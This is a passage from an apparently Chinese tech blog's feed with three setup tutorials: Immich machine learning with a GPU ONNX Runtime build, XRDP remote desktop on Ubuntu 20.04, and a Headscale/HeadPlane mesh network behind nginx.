&lt;p&gt;拉取代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/immich-app/immich.git
cd immich/machine-learning
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;找到pyproject.toml修改依赖文件，将 cuda = [&quot;onnxruntime-gpu&amp;gt;=1.17.0,&amp;lt;2&quot;] 中的 -gpu 删掉，以及注释掉以下代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#[[tool.uv.index]]
#name = &quot;cuda12&quot;
#url = &quot;https://aiinfra.pkgs.visualstudio.com/PublicPackages/_packaging/#onnxruntime-cuda-12/pypi/simple/&quot;
#explicit = true
#
#[tool.uv.sources]
#onnxruntime-gpu = { index = &quot;cuda12&quot; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后执行代码安装CPU版本的onnxruntime，目的是马上替换我们上面编译好的GPU版本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uv sync --extra cuda
source .venv/bin/activate
uv pip uninstall onnxruntime
uv pip install ~/onnxruntime/build/Linux/Release/dist/onnxruntime_gpu-*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在目录下新建一个.env就可以开始跑了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export MACHINE_LEARNING_GPU_ACCELERATION=cuda
export NVIDIA_VISIBLE_DEVICES=all
export IMMICH_PORT=3003
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;启动项目&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 -m immich_ml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/11/1762176481-image-1024x343.webp&quot; alt=&quot;推理immich-machine-learning - Jetson Orin Nano编译ONNX Runtime GPU 操作截图&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Ubuntu20.04 XRDP配置</title><link>https://nvcc-v.com/2025/10/05/ubuntu-2004-xrdp-setup/</link><guid isPermaLink="true">https://nvcc-v.com/2025/10/05/ubuntu-2004-xrdp-setup/</guid><description>在 Ubuntu 20.04 上安装 XRDP，配置默认桌面、会话权限与启动参数，从 Windows 远程连接 Linux 图形界面。</description><pubDate>Sun, 05 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;安装XRDP&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update
sudo apt install xrdp xserver-xorg-core xserver-xorg-input-all xorgxrdp
sudo adduser xrdp ssl-cert
sudo systemctl restart xrdp
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;配置XRDP&lt;/h2&gt;
&lt;p&gt;编辑 /etc/xrdp/startwm.sh，在&lt;code&gt;test -x /etc/X11/Xsession &amp;amp;&amp;amp; exec /etc/X11/Xsession&lt;/code&gt; 前添加以下内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unset DBUS_SESSION_BUS_ADDRESS
unset XDG_RUNTIME_DIR
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;指定桌面环境&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo gnome-session &amp;gt; ~/.xsession
cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.xsessionrc
export GNOME_SHELL_SESSION_MODE=ubuntu
export XDG_CURRENT_DESKTOP=ubuntu:GNOME
export XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
EOF
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入以下内容以解决登录需要频繁输入密码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo tee /etc/polkit-1/localauthority/50-local.d/45-allow-colord.pkla &amp;gt; /dev/null &amp;lt;&amp;lt;&apos;EOF&apos;
[Allow Colord all Users]
Identity=unix-user:*
Action=org.freedesktop.color-manager.create-device;org.freedesktop.color-manager.create-profile;org.freedesktop.color-manager.delete-device;org.freedesktop.color-manager.delete-profile;org.freedesktop.color-manager.modify-device;org.freedesktop.color-manager.modify-profile
ResultAny=no
ResultInactive=no
ResultActive=yes
EOF

sudo tee /etc/polkit-1/localauthority/50-local.d/46-allow-update-repo.pkla &amp;gt; /dev/null &amp;lt;&amp;lt;&apos;EOF&apos;
[Allow Package Management all Users]
Identity=unix-user:*
Action=org.freedesktop.packagekit.system-sources-refresh
ResultAny=yes
ResultInactive=yes
ResultActive=yes
EOF

sudo systemctl restart xrdp
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;登录XRDP&lt;/h2&gt;
&lt;p&gt;Windows搜索RDP即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/10/1759652603-image.webp&quot; alt=&quot;登录XRDP - Ubuntu20.04 XRDP配置 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入主机的IP、用户名、勾选 允许我保存凭据，然后输入密码后即可进入&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/10/1759652626-image.webp&quot; alt=&quot;登录XRDP - Ubuntu20.04 XRDP配置 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/10/1759652694-image-1024x576.webp&quot; alt=&quot;登录XRDP - Ubuntu20.04 XRDP配置 操作截图 3&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>国内云 Headscale 0.26.1 组网方案教程</title><link>https://nvcc-v.com/2025/09/26/headscale-tutorial/</link><guid isPermaLink="true">https://nvcc-v.com/2025/09/26/headscale-tutorial/</guid><description>在国内云服务器上部署 Headscale 0.26.1，配置 Docker、HeadPlane 管理面板、反向代理和客户端组网。</description><pubDate>Fri, 26 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;本次使用的云服务商 &lt;a href=&quot;https://www.rainyun.com/JNY_&quot;&gt;雨云&lt;/a&gt; 宁波地区&lt;/p&gt;
&lt;h2&gt;Docker安装Headscale&lt;/h2&gt;
&lt;p&gt;首先先安装docker-compose&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt update
apt upgrade -y
apt install docker-compose
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配置Headscale以及HeadPlane（仿Tailscale前端控制面板），文件位于/opt/headscale/docker-compose.yaml&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;3&apos;

services:
  headscale:
    image: headscale/headscale:0.26.1
    container_name: headscale
    command: serve
    restart: unless-stopped
    volumes:
      - /opt/headscale/config:/etc/headscale/
      - /opt/headscale/data:/var/lib/headscale/
    network_mode: host

  headplane:
    image: ghcr.nju.edu.cn/tale/headplane:0.6.0
    container_name: headplane
    restart: unless-stopped
    ports:
      - &quot;8091:3000&quot;
    volumes:
      - /opt/headscale/headplane/config.yaml:/etc/headplane/config.yaml

      # Headplane stores its data in this directory
      - /opt/headscale/headplane/headplane-data:/var/lib/headplane

      # If you are using the Docker integration, mount the Docker socket
      - /var/run/docker.sock:/var/run/docker.sock:ro
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建以下目录和文件后拉取一下镜像&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;touch /opt/headscale/config/config.yaml
touch /opt/headscale/config/extra-records.json
touch /opt/headscale/headplane/config.yaml
cd /opt/headscale
docker-compose up -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后配置/opt/headscale/config/config.yaml，务必修改“你的域名”和“你的IP”两个地方，其余可根据自己的需求修改&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
# headscale will look for a configuration file named `config.yaml` (or `config.json`) in the following order:
#
# - `/etc/headscale`
# - `~/.headscale`
# - current working directory

# The url clients will connect to.
# Typically this will be a domain like:
#
# https://myheadscale.example.com:443
#
server_url: https://你的域名:443

# Address to listen to / bind to on the server
#
# For production:
# listen_addr: 0.0.0.0:8080
listen_addr: 0.0.0.0:8080

# Address to listen to /metrics and /debug, you may want
# to keep this endpoint private to your internal network
metrics_listen_addr: 0.0.0.0:9090

# Address to listen for gRPC.
# gRPC is used for controlling a headscale server
# remotely with the CLI
# Note: Remote access _only_ works if you have
# valid certificates.
#
# For production:
# grpc_listen_addr: 0.0.0.0:50443
grpc_listen_addr: 0.0.0.0:50443

# Allow the gRPC admin interface to run in INSECURE
# mode. This is not recommended as the traffic will
# be unencrypted. Only enable if you know what you
# are doing.
grpc_allow_insecure: false

# The Noise section includes specific configuration for the
# TS2021 Noise protocol
noise:
  # The Noise private key is used to encrypt the traffic between headscale and
  # Tailscale clients when using the new Noise-based protocol. A missing key
  # will be automatically generated.
  private_key_path: /var/lib/headscale/noise_private.key

# List of IP prefixes to allocate tailaddresses from.
# Each prefix consists of either an IPv4 or IPv6 address,
# and the associated prefix length, delimited by a slash.
# It must be within IP ranges supported by the Tailscale
# client - i.e., subnets of 100.64.0.0/10 and fd7a:115c:a1e0::/48.
# See below:
# IPv6: https://github.com/tailscale/tailscale/blob/22ebb25e833264f58d7c3f534a8b166894a89536/net/tsaddr/tsaddr.go#LL81C52-L81C71
# IPv4: https://github.com/tailscale/tailscale/blob/22ebb25e833264f58d7c3f534a8b166894a89536/net/tsaddr/tsaddr.go#L33
# Any other range is NOT supported, and it will cause unexpected issues.
prefixes:
  v4: 100.17.0.0/10
  v6: fd7a:115c:a1e0::/48

  # Strategy used for allocation of IPs to nodes, available options:
  # - sequential (default): assigns the next free IP from the previous given IP.
  # - random: assigns the next free IP from a pseudo-random IP generator (crypto/rand).
  allocation: sequential

# DERP is a relay system that Tailscale uses when a direct
# connection cannot be established.
# https://tailscale.com/blog/how-tailscale-works/#encrypted-tcp-relays-derp
#
# headscale needs a list of DERP servers that can be presented
# to the clients.
derp:
  server:
    # If enabled, runs the embedded DERP server and merges it into the rest of the DERP config
    # The Headscale server_url defined above MUST be using https, DERP requires TLS to be in place
    enabled: true

    # Region ID to use for the embedded DERP server.
    # The local DERP prevails if the region ID collides with other region ID coming from
    # the regular DERP config.
    region_id: 999

    # Region code and name are displayed in the Tailscale UI to identify a DERP region
    region_code: &quot;headscale&quot;
    region_name: &quot;Headscale Embedded DERP&quot;

    # Listens over UDP at the configured address for STUN connections - to help with NAT traversal.
    # When the embedded DERP server is enabled stun_listen_addr MUST be defined.
    #
    # For more details on how this works, check this great article: https://tailscale.com/blog/how-tailscale-works/
    stun_listen_addr: &quot;0.0.0.0:3478&quot;

    # Private key used to encrypt the traffic between headscale DERP and
    # Tailscale clients. A missing key will be automatically generated.
    private_key_path: /var/lib/headscale/derp_server_private.key

    # This flag can be used, so the DERP map entry for the embedded DERP server is not written automatically,
    # it enables the creation of your very own DERP map entry using a locally available file with the parameter DERP.paths
    # If you enable the DERP server and set this to false, it is required to add the DERP server to the DERP map using DERP.paths
    automatically_add_embedded_derp_region: true

    # For better connection stability (especially when using an Exit-Node and DNS is not working),
    # it is possible to optionally add the public IPv4 and IPv6 address to the Derp-Map using:
    ipv4: 你的IP

  # List of externally available DERP maps encoded in JSON
  urls:
    - https://controlplane.tailscale.com/derpmap/default

  # Locally available DERP map files encoded in YAML
  #
  # This option is mostly interesting for people hosting
  # their own DERP servers:
  # https://tailscale.com/kb/1118/custom-derp-servers/
  #
  # paths:
  #   - /etc/headscale/derp-example.yaml
  #paths: [&quot;/etc/headscale/derp.yaml&quot;]

  # If enabled, a worker will be set up to periodically
  # refresh the given sources and update the derpmap
  # will be set up.
  auto_update_enabled: true

  # How often should we check for DERP updates?
  update_frequency: 24h

# Disables the automatic check for headscale updates on startup
disable_check_updates: false

# Time before an inactive ephemeral node is deleted?
ephemeral_node_inactivity_timeout: 30m

database:
  # Database type. Available options: sqlite, postgres
  # Please note that using Postgres is highly discouraged as it is only supported for legacy reasons.
  # All new development, testing and optimisations are done with SQLite in mind.
  type: sqlite

  # Enable debug mode. This setting requires the log.level to be set to &quot;debug&quot; or &quot;trace&quot;.
  debug: false

  # GORM configuration settings.
  gorm:
    # Enable prepared statements.
    prepare_stmt: true

    # Enable parameterized queries.
    parameterized_queries: true

    # Skip logging &quot;record not found&quot; errors.
    skip_err_record_not_found: true

    # Threshold for slow queries in milliseconds.
    slow_threshold: 1000

  # SQLite config
  sqlite:
    path: /var/lib/headscale/db.sqlite

    # Enable WAL mode for SQLite. This is recommended for production environments.
    # https://www.sqlite.org/wal.html
    write_ahead_log: true

    # Maximum number of WAL file frames before the WAL file is automatically checkpointed.
    # https://www.sqlite.org/c3ref/wal_autocheckpoint.html
    # Set to 0 to disable automatic checkpointing.
    wal_autocheckpoint: 1000

  # # Postgres config
  # Please note that using Postgres is highly discouraged as it is only supported for legacy reasons.
  # See database.type for more information.
  # postgres:
  #   # If using a Unix socket to connect to Postgres, set the socket path in the &apos;host&apos; field and leave &apos;port&apos; blank.
  #   host: localhost
  #   port: 5432
  #   name: headscale
  #   user: foo
  #   pass: bar
  #   max_open_conns: 10
  #   max_idle_conns: 10
  #   conn_max_idle_time_secs: 3600

  #   # If other &apos;sslmode&apos; is required instead of &apos;require(true)&apos; and &apos;disabled(false)&apos;, set the &apos;sslmode&apos; you need
  #   # in the &apos;ssl&apos; field. Refers to https://www.postgresql.org/docs/current/libpq-ssl.html Table 34.1.
  #   ssl: false

### TLS configuration
#
## Let&apos;s encrypt / ACME
#
# headscale supports automatically requesting and setting up
# TLS for a domain with Let&apos;s Encrypt.
#
# URL to ACME directory
acme_url: https://acme-v02.api.letsencrypt.org/directory

# Email to register with ACME provider
acme_email: &quot;&quot;

# Domain name to request a TLS certificate for:
tls_letsencrypt_hostname: &quot;&quot;

# Path to store certificates and metadata needed by
# letsencrypt
# For production:
tls_letsencrypt_cache_dir: /var/lib/headscale/cache

# Type of ACME challenge to use, currently supported types:
# HTTP-01 or TLS-ALPN-01
# See: docs/ref/tls.md for more information
tls_letsencrypt_challenge_type: HTTP-01
# When HTTP-01 challenge is chosen, letsencrypt must set up a
# verification endpoint, and it will be listening on:
# :http = port 80
tls_letsencrypt_listen: &quot;:http&quot;

## Use already defined certificates:
tls_cert_path: &quot;&quot;
tls_key_path: &quot;&quot;

log:
  # Output formatting for logs: text or json
  format: text
  level: info

## Policy
# headscale supports Tailscale&apos;s ACL policies.
# Please have a look to their KB to better
# understand the concepts: https://tailscale.com/kb/1018/acls/
policy:
  # The mode can be &quot;file&quot; or &quot;database&quot; that defines
  # where the ACL policies are stored and read from.
  mode: database
  # If the mode is set to &quot;file&quot;, the path to a
  # HuJSON file containing ACL policies.
  #path: &quot;/etc/headscale/acl.hujson&quot;

## DNS
#
# headscale supports Tailscale&apos;s DNS configuration and MagicDNS.
# Please have a look to their KB to better understand the concepts:
#
# - https://tailscale.com/kb/1054/dns/
# - https://tailscale.com/kb/1081/magicdns/
# - https://tailscale.com/blog/2021-09-private-dns-with-magicdns/
#
# Please note that for the DNS configuration to have any effect,
# clients must have the `--accept-dns=true` option enabled. This is the
# default for the Tailscale client. This option is enabled by default
# in the Tailscale client.
#
# Setting _any_ of the configuration and `--accept-dns=true` on the
# clients will integrate with the DNS manager on the client or
# overwrite /etc/resolv.conf.
# https://tailscale.com/kb/1235/resolv-conf
#
# If you want stop Headscale from managing the DNS configuration
# all the fields under `dns` should be set to empty values.
dns:
  # Whether to use [MagicDNS](https://tailscale.com/kb/1081/magicdns/).
  magic_dns: true

  # Defines the base domain to create the hostnames for MagicDNS.
  # This domain _must_ be different from the server_url domain.
  # `base_domain` must be a FQDN, without the trailing dot.
  # The FQDN of the hosts will be
  # `hostname.base_domain` (e.g., _myhost.example.com_).
  base_domain: ts.net

  # Whether to use the local DNS settings of a node (default) or override the
  # local DNS settings and force the use of Headscale&apos;s DNS configuration.
  override_local_dns: false

  # List of DNS servers to expose to clients.
  nameservers:
    #global:
    #  - 1.1.1.1
    #  - 1.0.0.1
    #  - 2606:4700:4700::1111
    #  - 2606:4700:4700::1001

      # NextDNS (see https://tailscale.com/kb/1218/nextdns/).
      # &quot;abc123&quot; is example NextDNS ID, replace with yours.
      # - https://dns.nextdns.io/abc123

    # Split DNS (see https://tailscale.com/kb/1054/dns/),
    # a map of domains and which DNS server to use for each.
    #split:
    #  {}
      # foo.bar.com:
      #   - 1.1.1.1
      # darp.headscale.net:
      #   - 1.1.1.1
      #   - 8.8.8.8

  # Set custom DNS search domains. With MagicDNS enabled,
  # your tailnet base_domain is always the first search domain.
  #search_domains: []

  # Extra DNS records
  # so far only A and AAAA records are supported (on the tailscale side)
  # See: docs/ref/dns.md
  #extra_records: []
  #   - name: &quot;grafana.myvpn.example.com&quot;
  #     type: &quot;A&quot;
  #     value: &quot;100.64.0.3&quot;
  #
  #   # you can also put it in one line
  #   - { name: &quot;prometheus.myvpn.example.com&quot;, type: &quot;A&quot;, value: &quot;100.64.0.3&quot; }
  #
  # Alternatively, extra DNS records can be loaded from a JSON file.
  # Headscale processes this file on each change.
  extra_records_path: /etc/headscale/extra-records.json

# Unix socket used for the CLI to connect without authentication
# Note: for production you will want to set this to something like:
unix_socket: /var/run/headscale/headscale.sock
unix_socket_permission: &quot;0770&quot;
#
# headscale supports experimental OpenID connect support,
# it is still being tested and might have some bugs, please
# help us test it.
# OpenID Connect
# oidc:
#   only_start_if_oidc_is_available: true
#   issuer: &quot;https://your-oidc.issuer.com/path&quot;
#   client_id: &quot;your-oidc-client-id&quot;
#   client_secret: &quot;your-oidc-client-secret&quot;
#   # Alternatively, set `client_secret_path` to read the secret from the file.
#   # It resolves environment variables, making integration to systemd&apos;s
#   # `LoadCredential` straightforward:
#   client_secret_path: &quot;${CREDENTIALS_DIRECTORY}/oidc_client_secret&quot;
#   # client_secret and client_secret_path are mutually exclusive.
#
#   # The amount of time from a node is authenticated with OpenID until it
#   # expires and needs to reauthenticate.
#   # Setting the value to &quot;0&quot; will mean no expiry.
#   expiry: 180d
#
#   # Use the expiry from the token received from OpenID when the user logged
#   # in, this will typically lead to frequent need to reauthenticate and should
#   # only been enabled if you know what you are doing.
#   # Note: enabling this will cause `oidc.expiry` to be ignored.
#   use_expiry_from_token: false
#
#   # Customize the scopes used in the OIDC flow, defaults to &quot;openid&quot;, &quot;profile&quot; and &quot;email&quot; and add custom query
#   # parameters to the Authorize Endpoint request. Scopes default to &quot;openid&quot;, &quot;profile&quot; and &quot;email&quot;.
#
#   scope: [&quot;openid&quot;, &quot;profile&quot;, &quot;email&quot;, &quot;custom&quot;]
#   extra_params:
#     domain_hint: example.com
#
#   # List allowed principal domains and/or users. If an authenticated user&apos;s domain is not in this list, the
#   # authentication request will be rejected.
#
#   allowed_domains:
#     - example.com
#   # Note: Groups from keycloak have a leading &apos;/&apos;
#   allowed_groups:
#     - /headscale
#   allowed_users:
#     - alice@example.com
#
#   # Optional: PKCE (Proof Key for Code Exchange) configuration
#   # PKCE adds an additional layer of security to the OAuth 2.0 authorization code flow
#   # by preventing authorization code interception attacks
#   # See https://datatracker.ietf.org/doc/html/rfc7636
#   pkce:
#     # Enable or disable PKCE support (default: false)
#     enabled: false
#     # PKCE method to use:
#     # - plain: Use plain code verifier
#     # - S256: Use SHA256 hashed code verifier (default, recommended)
#     method: S256
#
#   # Map legacy users from pre-0.24.0 versions of headscale to the new OIDC users
#   # by taking the username from the legacy user and matching it with the username
#   # provided by the OIDC. This is useful when migrating from legacy users to OIDC
#   # to force them using the unique identifier from the OIDC and to give them a
#   # proper display name and picture if available.
#   # Note that this will only work if the username from the legacy user is the same
#   # and there is a possibility for account takeover should a username have changed
#   # with the provider.
#   # When this feature is disabled, it will cause all new logins to be created as new users.
#   # Note this option will be removed in the future and should be set to false
#   # on all new installations, or when all users have logged in with OIDC once.
#   map_legacy_users: false

# Logtail configuration
# Logtail is Tailscales logging and auditing infrastructure, it allows the control panel
# to instruct tailscale nodes to log their activity to a remote server.
logtail:
  # Enable logtail for this headscales clients.
  # As there is currently no support for overriding the log server in headscale, this is
  # disabled by default. Enabling this will make your clients send logs to Tailscale Inc.
  enabled: false

# Enabling this option makes devices prefer a random port for WireGuard traffic over the
# default static port 41641. This option is intended as a workaround for some buggy
# firewall devices. See https://tailscale.com/kb/1181/firewalls/ for more information.
randomize_client_port: true
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;配置Headscale&lt;/h2&gt;
&lt;p&gt;Headscale 控制示例&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker exec -it headscale \
  headscale preauthkeys --help
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建用户，（注意用户下面可以放很多设备，这里的是用户名不是设备名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker exec -it headscale \
  headscale users create 你的英文名
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建一个属于第一个用户的长达十年的密钥用于设备认证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker exec -it headscale \
  headscale preauthkeys create --user 1 --reusable --expiration 10y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建apikey用于前端的认证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker exec -it headscale \
  headscale apikeys create
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;配置HeadPlane&lt;/h2&gt;
&lt;p&gt;配置 /opt/headscale/headplane/config.yaml，需要配置如下字段&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;server: cookie_secret&lt;/li&gt;
&lt;li&gt;headscale: url&lt;/li&gt;
&lt;li&gt;integration: pre_authkey&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# Configuration for the Headplane server and web application
server:
  host: &quot;0.0.0.0&quot;
  port: 3000

  # The secret used to encode and decode web sessions
  # Ensure that this is exactly 32 characters long
  cookie_secret: &quot;随机生成一个32位的密码&quot;

  # Should the cookies only work over HTTPS?
  # Set to false if running via HTTP without a proxy
  # (I recommend this is true in production)
  cookie_secure: true

# Headscale specific settings to allow Headplane to talk
# to Headscale and access deep integration features
headscale:
  # The URL to your Headscale instance
  # (All API requests are routed through this URL)
  # (THIS IS NOT the gRPC endpoint, but the HTTP endpoint)
  #
  # IMPORTANT: If you are using TLS this MUST be set to `https://`
  url: &quot;https://你的域名&quot;

  # If you use the TLS configuration in Headscale, and you are not using
  # Let&apos;s Encrypt for your certificate, pass in the path to the certificate.
  # (This has no effect `url` does not start with `https://`)
  # tls_cert_path: &quot;/var/lib/headplane/tls.crt&quot;

  # Optional, public URL if they differ
  # This affects certain parts of the web UI
  # public_url: &quot;https://headscale.example.com&quot;

  # Path to the Headscale configuration file
  # This is optional, but HIGHLY recommended for the best experience
  # If this is read only, Headplane will show your configuration settings
  # in the Web UI, but they cannot be changed.
  config_path: &quot;/etc/headscale/config.yaml&quot;

  # Headplane internally validates the Headscale configuration
  # to ensure that it changes the configuration in a safe way.
  # If you want to disable this validation, set this to false.
  config_strict: true

  # If you are using `dns.extra_records_path` in your Headscale
  # configuration, you need to set this to the path for Headplane
  # to be able to read the DNS records.
  #
  # Pass it in if using Docker and ensure that the file is both
  # readable and writable to the Headplane process.
  # When using this, Headplane will no longer need to automatically
  # restart Headscale for DNS record changes.
  # dns_records_path: &quot;/var/lib/headplane/extra_records.json&quot;

# Integration configurations for Headplane to interact with Headscale
integration:
  agent:
    # The Headplane agent allows retrieving information about nodes
    # This allows the UI to display version, OS, and connectivity data
    # You will see the Headplane agent in your Tailnet as a node when
    # it connects.
    enabled: true
    # To connect to your Tailnet, you need to generate a pre-auth key
    # This can be done via the web UI or through the `headscale` CLI.
    pre_authkey: &quot;刚刚在Headscale生成的apikey&quot;
    # Optionally change the name of the agent in the Tailnet.
    # host_name: &quot;headplane-agent&quot;

    # Configure different caching settings. By default, the agent will store
    # caches in the path below for a maximum of 1 minute. If you want data
    # to update faster, reduce the TTL, but this will increase the frequency
    # of requests to Headscale.
    # cache_ttl: 60
    # cache_path: /var/lib/headplane/agent_cache.json

    # Do not change this unless you are running a custom deployment.
    # The work_dir represents where the agent will store its data to be able
    # to automatically reauthenticate with your Tailnet. It needs to be
    # writable by the user running the Headplane process.
    # work_dir: &quot;/var/lib/headplane/agent&quot;

  # Only one of these should be enabled at a time or you will get errors
  # This does not include the agent integration (above), which can be enabled
  # at the same time as any of these and is recommended for the best experience.
  docker:
    enabled: false

    # By default we check for the presence of a container label (see the docs)
    # to determine the container to signal when changes are made to DNS settings.
    container_label: &quot;me.tale.headplane.target=headscale&quot;

    # HOWEVER, you can fallback to a container name if you desire, but this is
    # not recommended as its brittle and doesn&apos;t work with orchestrators that
    # automatically assign container names.
    #
    # If `container_name` is set, it will override any label checks.
    # container_name: &quot;headscale&quot;

    # The path to the Docker socket (do not change this if you are unsure)
    # Docker socket paths must start with unix:// or tcp:// and at the moment
    # https connections are not supported.
    socket: &quot;unix:///var/run/docker.sock&quot;

  # Please refer to docs/integration/Kubernetes.md for more information
  # on how to configure the Kubernetes integration. There are requirements in
  # order to allow Headscale to be controlled by Headplane in a cluster.
  kubernetes:
    enabled: false
    # Validates the manifest for the Pod to ensure all of the criteria
    # are set correctly. Turn this off if you are having issues with
    # shareProcessNamespace not being validated correctly.
    validate_manifest: true
    # This should be the name of the Pod running Headscale and Headplane.
    # If this isn&apos;t static you should be using the Kubernetes Downward API
    # to set this value (refer to docs/Integrated-Mode.md for more info).
    pod_name: &quot;headscale&quot;

  # Proc is the &quot;Native&quot; integration that only works when Headscale and
  # Headplane are running outside of a container. There is no configuration,
  # but you need to ensure that the Headplane process can terminate the
  # Headscale process.
  #
  # (If they are both running under systemd as sudo, this will work).
  proc:
    enabled: false

# OIDC Configuration for simpler authentication
# (This is optional, but recommended for the best experience)
oidc:
  issuer: &quot;https://accounts.google.com&quot;
  client_id: &quot;your-client-id&quot;

  # The client secret for the OIDC client
  # Either this or `client_secret_path` must be set for OIDC to work
  client_secret: &quot;&amp;lt;your-client-secret&amp;gt;&quot;
  # You can alternatively set `client_secret_path` to read the secret from disk.
  # The path specified can resolve environment variables, making integration
  # with systemd&apos;s `LoadCredential` straightforward:
  # client_secret_path: &quot;${CREDENTIALS_DIRECTORY}/oidc_client_secret&quot;

  disable_api_key_login: false
  token_endpoint_auth_method: &quot;client_secret_post&quot;

  # If you are using OIDC, you need to generate an API key
  # that can be used to authenticate other sessions when signing in.
  #
  # This can be done with `headscale apikeys create --expiration 999d`
  headscale_api_key: &quot;&amp;lt;your-headscale-api-key&amp;gt;&quot;

  # Optional, but highly recommended otherwise Headplane
  # will attempt to automatically guess this from the issuer
  #
  # This should point to your publicly accessibly URL
  # for your Headplane instance with /admin/oidc/callback
  redirect_uri: &quot;http://localhost:3000/admin/oidc/callback&quot;

  # Stores the users and their permissions for Headplane
  # This is a path to a JSON file, default is specified below.
  user_storage_file: &quot;/var/lib/headplane/users.json&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重启一下容器，看一下logs没问题就跑起来了&lt;/p&gt;
&lt;h2&gt;配置反向代理&lt;/h2&gt;
&lt;p&gt;安装NGINX&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配置服务 /etc/nginx/conf.d/headscale.conf&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;server {
        server_name 你的域名;

        # Security / XSS Mitigation Headers
        add_header X-Frame-Options &quot;SAMEORIGIN&quot;;
        add_header X-XSS-Protection &quot;1; mode=block&quot;;
        add_header X-Content-Type-Options &quot;nosniff&quot;;

        location /admin {
            proxy_redirect off;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_pass http://127.0.0.1:8091;
        }

        location / {
            proxy_pass http://127.0.0.1:8080;
            proxy_http_version 1.1;
            proxy_set_header Upgrade $http_upgrade;
            proxy_set_header Connection &quot;upgrade&quot;;
            proxy_set_header Host $host;
            proxy_redirect http:// https://;
            proxy_buffering off;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $http_x_forwarded_proto;
            add_header Strict-Transport-Security &quot;max-age=15552000; includeSubDomains&quot; always;
        }

        listen 443 ssl;
        listen [::]:443 ssl;
        ssl_certificate /root/.acme.sh/你的证书;
        ssl_certificate_key /root/.acme.sh/你的证书密钥;

}
server {
    if ($host = 你的域名) {
        return 301 https://$host$request_uri;
    } # managed by Certbot


    listen 80;
    listen [::]:80;
    server_name 你的域名;
    return 404;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;应用配置&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nginx -t
systemctl reload nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;访问HeadPlane控制台&lt;/h2&gt;
&lt;p&gt;http://你的域名/damin，输入之前生成的apikey&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/09/1758894043-image.webp&quot; alt=&quot;访问HeadPlane控制台 - 国内云 Headscale 0.26.1 组网方案教程 操作截图&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;使用预授权密钥认证设备&lt;/h2&gt;
&lt;p&gt;不管是Win端还是Linux端都是先在官网安装软件&lt;a href=&quot;https://tailscale.com/download&quot;&gt;Download | Tailscale&lt;/a&gt;，然后在控制台输入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tailscale up --login-server https://你的域名 --authkey 生成的十年密钥
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;进阶配置&lt;/h2&gt;
&lt;p&gt;自建derp配置文件示例 /opt/headscale/config/derp.yaml&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;regions:
  901:
    regionid: 901
    regioncode: cn-cd
    regionname: 中国-成都
    nodes:
      - name: 1
        regionid: 901
        hostname: 221.0.0.0
        ipv4: 221.0.0.0
        stunport: 34788
        stunonly: false
        derpport: 64500
        insecurefortests: true
